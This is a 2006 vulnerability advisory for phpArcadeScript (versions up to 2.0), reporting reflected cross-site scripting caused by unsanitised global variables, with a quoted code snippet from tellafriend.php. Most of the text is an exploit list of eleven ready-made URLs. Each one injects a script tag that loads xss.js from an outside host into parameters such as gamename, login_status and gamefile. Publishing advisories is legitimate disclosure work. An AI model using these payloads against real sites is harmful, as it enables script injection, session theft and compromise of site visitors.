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phpArcadeScript XSS Injections |
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Sunday, 05 March 2006 |
summary
software: phpArcadeScript
vendors website: http://www.phparcadescript.com/
versions: <= 2.0
class: remote
status: unpatched
exploit: available
solution: not available
discovered by: retard and jim
risk level: medium
description
due to phpArcadeScript excessive use of global variables attackers
can very easily inject xss into various portions of the application
in ./includes/tellafriend.php:
21 22 if ($about == "game")
23 {
24 echo $gamename;
25 }
26
27 else
28 {
29 echo $site_title;
30 }
31 ?>
this poor coding is repetative throughought the application, possibly
having more vulnerabilities present in the coding.
exploit(s)
http://example.com/includes/tellafriend.php?about=game&gamename=%3CSCRIPT%20SRC=http://notlegal.ws/xss.js%3E%3C/SCRIPT%3E
http://example.com/admin/loginbox.php?loginstatus=1&login_status=%3CSCRIPT%20SRC=http://notlegal.ws/xss.js%3E%3C/SCRIPT%3E
http://example.com/index.php?action=tradelinks&submissionstatus=%3CSCRIPT%20SRC=http://notlegal.ws/xss.js%3E%3C/SCRIPT%3E
http://example.com/includes/browse.php?cell_title_background_color=%22%3E%3CSCRIPT%20SRC=http://notlegal.ws/xss.js%3E%3C/SCRIPT%3E
http://example.com/includes/browse.php?browse_cat_id=1&browse_cat_name=%3CSCRIPT%20SRC=http://notlegal.ws/xss.js%3E%3C/SCRIPT%3E
http://example.com/includes/displaygame.php?filetype=1&gamefile=%22%3E%3CSCRIPT%20SRC=http://notlegal.ws/xss.js%3E%3C/SCRIPT%3E
http://example.com/includes/displaygame.php?filetype=2&gamefile=%22%3E%3CSCRIPT%20SRC=http://notlegal.ws/xss.js%3E%3C/SCRIPT%3E
http://example.com/includes/displaygame.php?filetype=3&gamefile=%22%3E%3CSCRIPT%20SRC=http://notlegal.ws/xss.js%3E%3C/SCRIPT%3E
http://example.com/includes/displaygame.php?filetype=4&gamefile=%22%3E%3CSCRIPT%20SRC=http://notlegal.ws/xss.js%3E%3C/SCRIPT%3E
http://example.com/includes/displaygame.php?filetype=5&gamefile=%22%3E%3CSCRIPT%20SRC=http://notlegal.ws/xss.js%3E%3C/SCRIPT%3E
http://example.com/includes/displaygame.php?filetype=6&gamefile=%22%3E%3CSCRIPT%20SRC=http://notlegal.ws/xss.js%3E%3C/SCRIPT%3E
credit
author(s): retard and jim
email:
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